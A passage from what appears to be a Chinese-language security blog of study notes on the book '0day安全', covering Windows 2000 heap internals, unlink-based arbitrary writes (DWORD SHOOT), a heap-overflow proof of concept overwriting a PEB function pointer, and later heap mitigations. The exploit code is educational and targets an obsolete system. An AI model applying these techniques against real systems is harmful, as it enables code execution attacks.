Head</span></div></div><div><div><div>14</div></div><div><span>{</span></div></div><div><div><div>15</div></div><div><span>  </span><span>USHORT</span><span> </span><span>SelfSize</span><span>;</span></div></div><div><div><div>16</div></div><div><span>  </span><span>USHORT</span><span> </span><span>PreviousChunkSize</span><span>;</span></div></div><div><div><div>17</div></div><div><span>  </span><span>UCHAR</span><span> </span><span>SegmentIndex</span><span>;</span></div></div><div><div><div>18</div></div><div><span>  </span><span>struct</span><span> </span><span>Flag</span><span> </span><span>Flags</span><span>;</span></div></div><div><div><div>19</div></div><div><span>  </span><span>UCHAR</span><span> </span><span>UnusedBytes</span><span>;</span></div></div><div><div><div>20</div></div><div><span>  </span><span>UCHAR</span><span> </span><span>TagIndex_Debug</span><span>;</span></div></div><div><div><div>21</div></div><div><span>  </span><span>PVOID</span><span> </span><span>FlinkInFreelist</span><span>;</span><span> // 下一个</span></div></div><div><div><div>22</div></div><div><span>  </span><span>PVOID</span><span> </span><span>BlinkInFreelist</span><span>;</span><span> // 上一个</span></div></div><div><div><div>23</div></div><div><span>}</span></div></div><div><div><div>24</div></div><div>
</div></div><div><div><div>25</div></div><div><span>// Empty Data After...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>堆块的分配
<ul>
<li>堆块的大小包括了块首，所以申请32字节将会分配40字节</li>
<li>堆块的单位是8字节，不足8字节的按照8字节分配，所以最少实际分配为16字节</li>
<li>初始状态下，快表和空表都为空，不存在精确分配，请求将使用次优块进行分配</li>
<li>由于次优分配的发生，分配函数将从尾块中切走一些小块，修改尾块块首的size，最后将<code>freelist[0]</code>指向新的尾块</li>
</ul>
</li>
</ul></section></section><section><h3>测试快表<a href="#测试快表"><span>#</span></a></h3><section><h4>代码<a href="#代码-1"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#include</span><span> </span><span>&lt;windows.h&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>void</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>5</div></div><div><span>{</span></div></div><div><div><div>6</div></div><div><span>  </span><span>HLOCAL</span><span> </span><span>h1</span><span>, </span><span>h2</span><span>, </span><span>h3</span><span>, </span><span>h4</span><span>;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>HANDLE</span><span> </span><span>hp</span><span>;</span></div></div><div><div><div>8</div></div><div><span>  </span><span>hp</span><span> </span><span>=</span><span> </span><span>HeapCreate</span><span>(</span><span>0</span><span>, </span><span>0</span><span>, </span><span>0</span><span>);</span></div></div><div><div><div>9</div></div><div><span>  </span><span>__asm</span><span> </span><span>int</span><span> </span><span>3</span></div></div><div><div><div>10</div></div><div><span>  </span><span>h1</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>8</span><span>);</span></div></div><div><div><div>11</div></div><div><span>  </span><span>h2</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>8</span><span>);</span></div></div><div><div><div>12</div></div><div><span>  </span><span>h3</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>16</span><span>);</span></div></div><div><div><div>13</div></div><div><span>  </span><span>h4</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>24</span><span>);</span></div></div><div><div><div>14</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h1</span><span>);</span></div></div><div><div><div>15</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h2</span><span>);</span></div></div><div><div><div>16</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h3</span><span>);</span></div></div><div><div><div>17</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h4</span><span>);</span></div></div><div><div><div>18</div></div><div><span>  </span><span>h2</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>16</span><span>);</span></div></div><div><div><div>19</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h2</span><span>);</span></div></div><div><div><div>20</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>结论<a href="#结论-1"><span>#</span></a></h4><ul>
<li>块首标识位为0x01</li>
<li>只存指向下一堆块的指针，不存在指向前一堆块的指针</li>
<li>偏移<code>0x178</code>处的<code>freeList[0]</code>的地址变为了<code>0x00361E90</code>，原本的<code>0x00360688</code>被快表霸占了</li>
<li>快表从<code>0x688</code>开始，每个结构共<code>0x30</code>个字节，前四个字节的内容是快表单链表</li>
<li>虽然0Day安全书中写道，8字节的堆区被插入<code>lookaside[1]</code>，但是我似乎觉得，<code>0x688</code>处的才是<code>lookaside[0]</code>，<code>0x6B8</code>处的才是<code>lookaside[1]</code>，而<code>0x6E8</code>处的可以被称为<code>lookaside[2]</code>，它存放的堆块带上块首的大小一共16个字节</li>
</ul><hr /></section></section></section>
<section><h2>堆溢出的利用<a href="#堆溢出的利用"><span>#</span></a></h2><p>看懂了堆块是怎么链来链去的，下一步就是让它替我们写内存。</p><p>声明：实验环境同样为 Windows 2000</p><section><h3>链表的拆卸<a href="#链表的拆卸"><span>#</span></a></h3><section><h4>理论<a href="#理论"><span>#</span></a></h4><ul>
<li>堆块分配：将堆块从空表中“卸下”</li>
<li>堆块释放：把堆块链入空表</li>
<li>堆块合并：把若干个堆块从空表中“卸下”，修改块首信息(大小)，之后把更新后的新块“链入”空表</li>
</ul><blockquote><p>利用堆溢出：构造数据溢出下一个堆块的块首，改写块首中的前向指针和后向指针，然后在分配释放合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会</p></blockquote><ul>
<li>这种向任意位置写入任意数据的机会称为<code>DWORD SHOOT/ARBITRARY DWORD RESET</code></li>
</ul>

<table><thead><tr><th>目标</th><th>载荷</th><th>改写后的结果</th></tr></thead><tbody><tr><td>栈帧中的函数返回地址</td><td>shellcode起始地址</td><td>函数返回时，执行shellcode</td></tr><tr><td>栈帧中的S.E.H句柄</td><td>shellcode起始地址</td><td>异常发生时，执行shellcode</td></tr><tr><td>重要函数调用地址</td><td>shellcode起始地址</td><td>函数调用时，执行shellcode</td></tr></tbody></table></section><section><h4>实践<a href="#实践-1"><span>#</span></a></h4><section><h5>代码<a href="#代码-2"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;windows.h&gt;</span></div></div><div><div><div>2</div></div><div><span>int</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>HLOCAL</span><span> </span><span>h1</span><span>, </span><span>h2</span><span>,</span><span>h3</span><span>,</span><span>h4</span><span>,</span><span>h5</span><span>,</span><span>h6</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>HANDLE</span><span> </span><span>hp</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>hp</span><span> </span><span>=</span><span> </span><span>HeapCreate</span><span>(</span><span>0</span><span>,</span><span><span>0x</span><span>1000</span></span><span>,</span><span><span>0x</span><span>10000</span></span><span>);</span></div></div><div><div><div>7</div></div><div><span>    </span><span>h1</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>8</div></div><div><span>    </span><span>h2</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>9</div></div><div><span>    </span><span>h3</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>10</div></div><div><span>    </span><span>h4</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>11</div></div><div><span>    </span><span>h5</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>12</div></div><div><span>    </span><span>h6</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>13</div></div><div><span>    </span><span>_asm</span><span> </span><span>int</span><span> </span><span>3</span><span>//used to break the process</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>//free the odd blocks to prevent coalesing</span></div></div><div><div><div>15</div></div><div><span>    </span><span>HeapFree</span><span>(</span><span>hp</span><span>,</span><span>0</span><span>,</span><span>h1</span><span>);</span></div></div><div><div><div>16</div></div><div><span>    </span><span>HeapFree</span><span>(</span><span>hp</span><span>,</span><span>0</span><span>,</span><span>h3</span><span>);</span></div></div><div><div><div>17</div></div><div><span>    </span><span>HeapFree</span><span>(</span><span>hp</span><span>,</span><span>0</span><span>,</span><span>h5</span><span>);</span><span> //now freelist[2] got 3 entries</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>//will allocate from freelist[2] which means unlink the last entry</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>//(h5)</span></div></div><div><div><div>20</div></div><div><span>    </span><span>h1</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>,</span><span>HEAP_ZERO_MEMORY</span><span>,</span><span>8</span><span>);</span></div></div><div><div><div>21</div></div><div><span>    </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>22</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>发现<a href="#发现"><span>#</span></a></h5><ul>
<li>在h1申请到h5空间的时候，如果此时h5已经被溢出覆盖Blink和Flink，那么将会把[Flink]写入[Blink]</li>
</ul><p>拆卸时执行的就是 <code>node-&gt;blink-&gt;flink = node-&gt;flink</code>，Flink 正好在节点开头，所以这一句等于”把 Flink 的值写到 Blink 指向的地址”，两个指针都是我们写的。</p></section></section></section><section><h3>代码植入<a href="#代码植入"><span>#</span></a></h3><section><h4>原理<a href="#原理"><span>#</span></a></h4><ul>
<li>目标对准ExitProcess调用的PEB同步函数指针RtlEnterCriticalSection，在程序内堆溢出引发异常后执行shellcode</li>
</ul></section><section><h4>代码示例1(观察异常)<a href="#代码示例1观察异常"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;windows.h&gt;</span></div></div><div><div><div>2</div></div><div><span>char</span><span> </span><span>shellcode</span><span>[]</span><span>=</span></div></div><div><div><div>3</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>4</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>5</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>6</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>7</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>8</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>9</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>10</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>11</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>12</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>13</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>14</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>15</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>16</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>17</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>18</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>19</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>20</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>21</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>22</div></div><div><span>"</span><span>\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90</span><span>"</span></div></div><div><div><div>23</div></div><div><span>// 200 字节堆区结束，以下是溢出数据</span></div></div><div><div><div>24</div></div><div><span>"</span><span>\x16\x01\x1A\x00\x00\x10\x00\x00</span><span>"</span><span> // 下一个堆块的块首，保留</span></div></div><div><div><div>25</div></div><div><span>"</span><span>\x88\x06\x36\x00</span><span>"</span><span> // ShellCode起始地址</span></div></div><div><div><div>26</div></div><div><span>"</span><span>\x20\xF0\xFD\x7F</span><span>"</span><span>;</span><span> // PEB同步函数指针位置</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>int</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>29</div></div><div><span>{</span></div></div><div><div><div>30</div></div><div><span>    </span><span>HLOCAL</span><span> </span><span>h1</span><span> </span><span>=</span><span> </span><span>0</span><span>, </span><span>h2</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>31</div></div><div><span>    </span><span>HANDLE</span><span> </span><span>hp</span><span>;</span></div></div><div><div><div>32</div></div><div><span>    </span><span>hp</span><span> </span><span>=</span><span> </span><span>HeapCreate</span><span>(</span><span>0</span><span>,</span><span><span>0x</span><span>1000</span></span><span>, </span><span><span>0x</span><span>10000</span></span><span>);</span></div></div><div><div><div>33</div></div><div><span>    </span><span>h1</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>200</span><span>);</span></div></div><div><div><div>34</div></div><div><span>    </span><span>__asm</span><span> </span><span>int</span><span> </span><span>3</span><span> //used to break process</span></div></div><div><div><div>35</div></div><div><span>    </span><span>memcpy</span><span>(</span><span>h1</span><span>, </span><span>shellcode</span><span>, </span><span><span>0x</span><span>200</span></span><span>);</span><span> //overflow,0x200=512</span></div></div><div><div><div>36</div></div><div><span>    </span><span>h2</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>8</span><span>);</span></div></div><div><div><div>37</div></div><div><span>    </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>38</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h5>心得<a href="#心得"><span>#</span></a></h5><ul>
<li>就差ShellCode内容了</li>
</ul></section></section><section><h4>代码示例2(完整)<a href="#代码示例2完整"><span>#</span></a></h4><p>有了异常这一步，剩下的就是把一段真正能弹窗的 shellcode 放进那 200 字节里。溢出数据的尾巴不变，仍然是”下一个堆块块首 + shellcode 起始地址 + PEB 同步函数指针位置”这三段。shellcode 本体就用<a href="/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/">第一篇</a>里那段动态找 API 的弹窗代码，这里为了篇幅不再整段贴出来。</p><p>直接套进去会碰到一个坑：DWORD SHOOT 把 PEB 里的 <code>RtlEnterCriticalSection</code> 指针改成了 shellcode 地址，可 ExitProcess 还会去调这个指针，等于 shellcode 刚跑完就又被当成一个关键区函数调用了一遍，程序崩掉。所以 shellcode 开头要先把这个指针修回它原来的值，再接弹窗部分：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>; 修复被 DWORD SHOOT 打坏的 PEB 函数指针</span></div></div><div><div><div>2</div></div><div><span><span>B8 20F0FD7F        </span><span>mov</span><span> </span></span><span>eax</span><span>, </span><span>0x7FFDF020</span><span>   </span><span>; PEB 里 RtlEnterCriticalSection 指针的位置</span></div></div><div><div><div>3</div></div><div><span><span>BB 4CAAF877        </span><span>mov</span><span> </span></span><span>ebx</span><span>, </span><span>0x77F8AA4C</span><span>   </span><span>; 该函数原本的地址(随系统版本变)</span></div></div><div><div><div>4</div></div><div><span>89</span><span> </span><span>18</span><span><span>              </span><span>mov</span><span> [</span></span><span>eax</span><span>], </span><span>ebx</span><span>        </span><span>; 把指针改回去</span></div></div><div><div><div>5</div></div><div><span>; ……后面接第一篇那段 弹窗 shellcode……</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>补上这三条指令之后，Win2000 下的这个堆溢出就能稳定弹出 MessageBox 了。</p><blockquote><p>注意这里所有地址(<code>0x7FFDF020</code>、<code>0x77F8AA4C</code>、shellcode 起始地址 <code>0x00360688</code>)都是写死的，换一个系统版本甚至换一次运行就不对了，这也正是下面 XP SP2 之后那些保护要针对的点。</p></blockquote><hr /></section></section></section>
<section><h2>保护下的堆<a href="#保护下的堆"><span>#</span></a></h2><p>Win2000 的堆几乎没有防护，到了 XP SP2 以后微软补了一连串机制，上面那套玩法就一个个失效了。</p><section><h3>PEB 随机化<a href="#peb-随机化"><span>#</span></a></h3><p>微软在<code>Windows XP SP2</code>之后不再使用固定的 PEB 基址<code>0x7FFDF000</code>，而是使用具有一定随机性的 PEB 基址。这主要影响了对 PEB 中函数指针的攻击。在 DWORD SHOOT 的时候，PEB 中的函数指针是绝佳的目标，基址一动，上面那个写死的<code>0x7FFDF020</code>就不好找了。</p></section><section><h3>SafeUnlink<a href="#safeunlink"><span>#</span></a></h3><p>微软改写了操作双向链表的代码，在卸载 free list 中的堆块时更加小心。SP2 之前的链表拆卸操作类似这样：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int</span><span> </span><span>remove</span><span>(</span><span>ListNode</span><span> </span><span>*</span><span><span> </span><span>node</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>node</span><span> -&gt; </span><span>blink</span><span> </span><span>-&gt;</span><span> </span><span>flink</span><span> </span><span>=</span><span> </span><span>node</span><span> -&gt; </span><span>flink</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>node</span><span> -&gt; </span><span>flink</span><span> </span><span>-&gt;</span><span> </span><span>blink</span><span> </span><span>=</span><span> </span><span>node</span><span> -&gt; </span><span>blink</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这正是我们做 DWORD SHOOT 的入口。SP2 在删除前先验证前向、后向指针的完整性：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int</span><span> </span><span>safe_remove</span><span>(</span><span>ListNode</span><span> </span><span>*</span><span><span> </span><span>node</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>if</span><span>((</span><span>node</span><span>-&gt;</span><span>blink</span><span>-&gt;</span><span>flink</span><span> </span><span>==</span><span> </span><span>node</span><span>) </span><span>&amp;&amp;</span><span> (</span><span>node</span><span>-&gt;</span><span>flink</span><span>-&gt;</span><span>blink</span><span> </span><span>==</span><span> </span><span>node</span><span>))</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>5</div></div><div><span>        </span><span>node</span><span> -&gt; </span><span>blink</span><span> </span><span>-&gt;</span><span> </span><span>flink</span><span> </span><span>=</span><span> </span><span>node</span><span> -&gt; </span><span>flink</span><span>;</span></div></div><div><div><div>6</div></div><div><span>        </span><span>node</span><span> -&gt; </span><span>flink</span><span> </span><span>-&gt;</span><span> </span><span>blink</span><span> </span><span>=</span><span> </span><span>node</span><span> -&gt; </span><span>blink</span><span>;</span></div></div><div><div><div>7</div></div><div><span>        </span><span>return</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>    </span><span>else</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>// 链表指针被破坏，进入异常</span></div></div><div><div><div>12</div></div><div><span>        </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>伪造的 Flink/Blink 过不了这个”你指我、我指你”的互相验证，unlink 这条路就基本断了。</p></section><section><h3>heap cookie<a href="#heap-cookie"><span>#</span></a></h3><p>和栈里的 security cookie 类似，微软在堆块块首里也放了一个 1 字节的 cookie，用来检测块首是否被溢出改动过。</p></section><section><h3>元数据加密<a href="#元数据加密"><span>#</span></a></h3><p>从<code>Windows Vista</code>开始，块首里的一些重要数据(大小、Flink、Blink 等)在保存时会和一个 4 字节的随机数异或，用的时候再异或回来。不知道这个随机数，就没法直接伪造出有意义的块首，这也让上面那种改块首的攻击更难了。</p></section><section><h3>换个思路：chunk 重设大小<a href="#换个思路chunk-重设大小"><span>#</span></a></h3><p>SafeUnlink 只在”卸下”堆块时校验双链表，“插入”的时候并不校验。所以一个思路是制造一次堆块插入：释放后插入空表，或者分配时剩余空间被切下来插入空表。插入新 chunk 时执行的是：</p><ul>
<li><code>新chunk-&gt;Blink = 旧chunk-&gt;Flink-&gt;Blink</code></li>
<li><code>旧chunk-&gt;Flink-&gt;Blink-&gt;Flink = 新chunk</code></li>
<li><code>旧chunk-&gt;Flink-&gt;Blink = 新chunk</code></li>
</ul><p>只要能控制旧 chunk 的 Flink(覆盖成一个地址)和 Blink(覆盖成一个值)，第二条就又是一次 DWORD SHOOT 了。这部分我当年没写完整的利用代码，思路记在这里。</p><hr /></section></section>
<section><h2>今天再看<a href="#今天再看"><span>#</span></a></h2><p>上面这些实验全是 Windows 2000 的堆（NT5 堆），今天的 Windows 已经基本看不到了。</p><p>XP SP2 到 Vista 那一串保护(safe unlink、heap cookie、元数据加密)把”改块首 + unlink 做 DWORD SHOOT”这条经典路线堵死了。更大的变化是堆的实现换了代。从 Vista 起，系统会按需启用低碎片堆(LFH)：它不是单独一个堆，而是把小块(约 16KB 以下)按固定档位成批分配，程序不用自己开，碰上频繁的小分配系统就自动用上。到 Windows 10 2004，又多了一个 Segment Heap，可以用应用清单里的 <code>&lt;heapType&gt;SegmentHeap&lt;/heapType&gt;</code> 开启（系统进程和部分现代应用默认就用它）。这两套实现的元数据布局、校验和随机化都和 NT5 堆完全不同，书里这些偏移和结构体一个都对不上了。</p><p>所以今天做堆利用，很少再去碰堆自己的元数据。主流思路是堆布局(heap grooming/feng shui)：精心安排分配和释放，让一个可控对象恰好落在溢出能够到的位置，然后改的是这个应用层对象里的东西：虚表指针、长度字段、回调函数指针。配合信息泄露先拿到地址，再决定往哪写。换句话说，attack 的目标从”堆管理器的链表”变成了”堆上那些对象”，而堆管理器本身被加固得越来越硬。原理层面，这篇讲的”分配/释放/合并的时机就是下手的时机”到今天依然成立，变的只是下手的具体位置。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/</id>
      <title type="text">重读《0day安全》（一）栈溢出与 shellcode 的基本功</title>
      <published>2020-10-18T00:00:00.000Z</published>
      <updated>2020-10-18T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/"/>
      <summary type="text">跟着《0day安全》做的第一批实验，包括 PE 地址换算、栈溢出改返回地址、jmp esp 跳板、从 PEB 找 kernel32、shellcode 编码，再加一点格式化字符串。</summary>
      <content type="html"><![CDATA[<blockquote><p>这个系列是我 2020 年跟着《0day安全：软件漏洞分析技术（第2版）》（failwest 等著）做实验时记的笔记。实验的设计和大部分代码来自这本书，调试过程和理解是我自己的，想系统学的话请去读原书。2026 年重新整理了一遍，改掉了几处代码和说法上的错误，每篇末尾加了一段”今天再看”，讲讲这些技巧在今天的 Windows 上还剩多少。</p></blockquote>
<p>能够引起软件做一些超出设计范围的事情的 bug 叫做漏洞，这一篇写了一些简单的缓冲区溢出漏洞的利用浅析。</p>
<ul>
<li>功能性逻辑缺陷(Bug)</li>
<li>安全性逻辑缺陷(Vulnerability)</li>
</ul>
<section><h2>PE概念<a href="#pe概念"><span>#</span></a></h2><section><h3>PE文件与虚拟内存之间的映射<a href="#pe文件与虚拟内存之间的映射"><span>#</span></a></h3><ul>
<li>ImageBase：装载基址，(.EXE)默认是0x00400000，(.DLL)默认是0x10000000</li>
<li>FileOffset：文件偏移地址</li>
<li>VirtualAddress：虚拟地址，是映射到内存中的地址</li>
<li>RelativeVirtualAddress：相对虚拟地址，是虚拟地址VA相对装载基址的偏移量</li>
</ul><blockquote><p>VA = ImageBase + RVA</p></blockquote></section><section><h3>数据补全填充规则<a href="#数据补全填充规则"><span>#</span></a></h3><ul>
<li>在磁盘上时，PE文件的每个节(.section)是以0x200字节为单位存放，当节的大小不足0x200时，使用0x0补全，当节的大小超过0x200时，分配下一个0x200大小给此节</li>
<li>在内存中时，PE文件的每个节(.section)是以0x1000字节为单位存放，规则同上</li>
<li>0x200 和 0x1000 是 VC6 这类编译器的默认值，准确的数字以 PE 头里的 FileAlignment 和 SectionAlignment 为准</li>
</ul><blockquote><p>SectionOffset = RVA - FileOffset<br />
FileOffset = VA - ImageBase - SectionOffset = RVA - SectionOffset</p></blockquote><blockquote><p>例如.text节RVA=0x1000，FileOffset=0x400，则SectionOffset=0xC00<br />
0x00404141处指令文件偏移为0x00404141-0x00400000-(0x1000-0x400)=0x3541</p></blockquote></section><section><h3>函数调用约定<a href="#函数调用约定"><span>#</span></a></h3>

<table><thead><tr><th></th><th>C</th><th>SysCall</th><th>StdCall</th><th>BASIC</th><th>FORTRAN</th><th>PASCAL</th></tr></thead><tbody><tr><td>参数入栈顺序</td><td>右-&gt;左</td><td>右-&gt;左</td><td>右-&gt;左</td><td>左-&gt;右</td><td>左-&gt;右</td><td>左-&gt;右</td></tr><tr><td>恢复栈平衡的位置</td><td>母函数</td><td>母函数</td><td>子函数</td><td>子函数</td><td>子函数</td><td>子函数</td></tr></tbody></table><p>这里的 SysCall 是 OS/2 API 用的调用约定，和 cdecl 一样由调用者清栈（另外用 AL 传参数个数），跟 x86 的 <code>syscall</code> 指令没有关系。Windows 上真正常见的是 C(cdecl) 和 StdCall，Win32 API 基本都是 StdCall。</p></section><section><h3>缓冲区溢出<a href="#缓冲区溢出"><span>#</span></a></h3><blockquote><p>栈帧相邻，局部变量相邻，若数组越界，则会覆盖局部变量，接着覆盖函数返回地址<br />
通过淹没栈帧返回地址值以控制程序流程</p></blockquote><hr /></section></section>
<section><h2>ShellCode<a href="#shellcode"><span>#</span></a></h2><section><h3>Exploit/ShellCode(Payload)的分工合作<a href="#exploitshellcodepayload的分工合作"><span>#</span></a></h3><ul>
<li>Exploit的作用是精准利用某种漏洞，目标是劫持EIP</li>
<li>ShellCode将执行恶意/善意代码，是攻击载荷</li>
<li>ShellCode一般是通用的，Exploit只能针对某个特定的漏洞工作</li>
</ul></section><section><h3>实例<a href="#实例"><span>#</span></a></h3><p>本例使用简单的密码验证来测试漏洞</p><hr /><section><h4>缓冲区溢出控制程序Flag<a href="#缓冲区溢出控制程序flag"><span>#</span></a></h4><section><h5>代码(ExpStd0101)<a href="#代码expstd0101"><span>#</span></a></h5><div><div><div></div><div>说明</div></div><div><p>编译环境：Windows XP SP3, Visual C++ 6, Debug
实验环境：Windows XP SP3</p></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#include</span><span> </span><span>&lt;string.h&gt;</span></div></div><div><div><div>3</div></div><div><span>#define</span><span> </span><span>PASSWORD</span><span> </span><span>"1234567"</span></div></div><div><div><div>4</div></div><div>
